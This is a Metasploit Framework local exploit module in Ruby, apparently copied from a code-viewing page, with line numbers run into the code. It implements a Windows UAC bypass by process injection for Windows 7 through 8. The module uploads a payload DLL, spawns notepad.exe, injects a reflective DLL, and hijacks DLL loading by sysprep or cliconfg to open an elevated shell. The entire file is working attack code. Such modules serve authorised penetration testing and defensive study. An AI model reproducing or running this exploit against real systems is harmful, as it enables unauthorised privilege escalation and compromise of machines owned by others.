Path: blob/master/modules/exploits/windows/local/bypassuac_injection.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Exploit::EXE9include Exploit::FileDropper10include Post::File11include Post::Windows::Priv12include Post::Windows::ReflectiveDLLInjection13include Post::Windows::Runas1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Windows Escalate UAC Protection Bypass (In Memory Injection)',20'Description' => %q{21This module will bypass Windows UAC by utilizing the trusted publisher22certificate through process injection. It will spawn a second shell that23has the UAC flag turned off. This module uses the Reflective DLL Injection24technique to drop only the DLL payload binary instead of three separate25binaries in the standard technique. However, it requires the correct26architecture to be selected, (use x64 for SYSWOW64 systems also).27If specifying EXE::Custom your DLL should call ExitProcess() after starting28your payload in a separate process.29},30'License' => MSF_LICENSE,31'Author' => [32'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',33'mitnick',34'mubix', # Port to local exploit35'Ben Campbell', # In memory technique36'Lesage', # Win8+ updates37'OJ Reeves' # Win 8+ updates38],39'Platform' => [ 'win' ],40'SessionTypes' => [ 'meterpreter' ],41'Targets' => [42[ 'Windows x86', { 'Arch' => ARCH_X86 } ],43[ 'Windows x64', { 'Arch' => ARCH_X64 } ]44],45'DefaultTarget' => 0,46'References' => [47['URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/'],48['URL', 'http://www.pretentiousname.com/misc/W7E_Source/win7_uac_poc_details.html']49],50'DisclosureDate' => '2010-12-31',51'Compat' => {52'Meterpreter' => {53'Commands' => %w[54stdapi_railgun_api55stdapi_sys_process_attach56stdapi_sys_process_memory_allocate57stdapi_sys_process_memory_write58stdapi_sys_process_thread_create59]60}61},62'Notes' => {63'Reliability' => UNKNOWN_RELIABILITY,64'Stability' => UNKNOWN_STABILITY,65'SideEffects' => UNKNOWN_SIDE_EFFECTS66}67)68)69end7071def exploit72# Validate that we can actually do things before we bother73# doing any more work74validate_environment!75check_permissions!7677# get all required environment variables in one shot instead. This78# is a better approach because we don't constantly make calls through79# the session to get the variables.80env_vars = get_envs('TEMP', 'WINDIR')8182case get_uac_level83when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,84UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,85UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT86fail_with(Failure::NotVulnerable,87"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")88when UAC_DEFAULT89print_good('UAC is set to Default')90print_good('BypassUAC can bypass this setting, continuing...')91when UAC_NO_PROMPT92print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')93shell_execute_exe94return95end9697dll_path = bypass_dll_path98payload_filepath = "#{env_vars['TEMP']}\\#{rand_text_alpha(8)}.dll"99100upload_payload_dll(payload_filepath)101102pid = spawn_inject_proc(env_vars['WINDIR'])103104file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)105run_injection(pid, dll_path, file_paths)106107# Windows 7 this is cleared up by DLL but on Windows108# 8.1 it fails to delete the file.109register_file_for_cleanup(file_paths[:szElevDllFull])110end111112def bypass_dll_path113# path to the bypassuac binary114path = ::File.join(Msf::Config.data_directory, 'post')115116sysarch = sysinfo['Architecture']117if sysarch == ARCH_X64118unless (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)119fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System')120end121elsif (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i)122fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')123end124125::File.join(path, "bypassuac-#{sysarch}.dll")126end127128def check_permissions!129# Check if you are an admin130vprint_status('Checking admin status...')131admin_group = is_in_admin_group?132133if admin_group.nil?134print_error('Either whoami is not there or failed to execute')135print_error('Continuing under assumption you already checked...')136elsif admin_group137print_good('Part of Administrators group! Continuing...')138else139fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')140end141142if get_integrity_level == INTEGRITY_LEVEL_SID[:low]143fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')144end145end146147def run_injection(pid, dll_path, file_paths)148vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")149begin150path_struct = create_struct(file_paths)151152vprint_status("Opening process #{pid}")153host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)154exploit_mem, offset = inject_dll_into_process(host_process, dll_path)155156vprint_status("Injecting struct into #{pid}")157struct_addr = host_process.memory.allocate(path_struct.length)158host_process.memory.write(struct_addr, path_struct)159160vprint_status('Executing payload')161thread = host_process.thread.create(exploit_mem + offset, struct_addr)162print_good("Successfully injected payload in to process: #{pid}")163client.railgun.kernel32.WaitForSingleObject(thread.handle, 14000)164rescue Rex::Post::Meterpreter::RequestError => e165print_error("Failed to Inject Payload to #{pid}!")166vprint_error(e.to_s)167end168end169170# Create a process in the native architecture171def spawn_inject_proc(win_dir)172print_status('Spawning process with Windows Publisher Certificate, to inject into...')173if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86174cmd = "#{win_dir}\\sysnative\\notepad.exe"175else176cmd = "#{win_dir}\\System32\\notepad.exe"177end178pid = cmd_exec_get_pid(cmd)179180unless pid181fail_with(Failure::Unknown, 'Spawning Process failed...')182end183184pid185end186187def upload_payload_dll(payload_filepath)188payload = generate_payload_dll({ dll_exitprocess: true })189print_status('Uploading the Payload DLL to the filesystem...')190begin191vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")192write_file(payload_filepath, payload)193register_file_for_cleanup(payload_filepath)194rescue Rex::Post::Meterpreter::RequestError => e195fail_with(Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}")196end197end198199def validate_environment!200fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?201202version_info = get_version_info203# According to https://raw.githubusercontent.com/hfiref0x/UACME/c998cb1f1bafd36f566f17208b915dc48dda5edf/README.md204if version_info.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win8)205print_good("#{version_info.product_name} may be vulnerable.")206else207fail_with(Failure::NotVulnerable, "#{version_info.product_name} is not vulnerable.")208end209210if is_uac_enabled?211print_status('UAC is Enabled, checking level...')212else213unless is_in_admin_group?214fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')215end216end217end218219def get_file_paths(win_path, payload_filepath)220paths = {}221222version_info = get_version_info223if version_info.win7_or_2008r2?224paths[:szElevDll] = 'CRYPTBASE.dll'225paths[:szElevDir] = "#{win_path}\\System32\\sysprep"226paths[:szElevDirSysWow64] = "#{win_path}\\sysnative\\sysprep"227paths[:szElevExeFull] = "#{paths[:szElevDir]}\\sysprep.exe"228else229paths[:szElevDll] = 'NTWDBLIB.dll'230paths[:szElevDir] = "#{win_path}\\System32"231# This should be fine to be left blank232paths[:szElevDirSysWow64] = ''233paths[:szElevExeFull] = "#{paths[:szElevDir]}\\cliconfg.exe"234end235236paths[:szElevDllFull] = "#{paths[:szElevDir]}\\#{paths[:szElevDll]}"237paths[:szTempDllPath] = payload_filepath238239paths240end241242# Creates the paths struct which contains all the required paths243# the dll needs to copy/execute etc.244def create_struct(paths)245# write each path to the structure in the order they246# are defined in the bypass uac binary.247struct = ''248struct << fill_struct_path(paths[:szElevDir])249struct << fill_struct_path(paths[:szElevDirSysWow64])250struct << fill_struct_path(paths[:szElevDll])251struct << fill_struct_path(paths[:szElevDllFull])252struct << fill_struct_path(paths[:szElevExeFull])253struct << fill_struct_path(paths[:szTempDllPath])254255struct256end257258def fill_struct_path(path)259path = Rex::Text.to_unicode(path)260path + "\x00" * (520 - path.length)261end262end263264265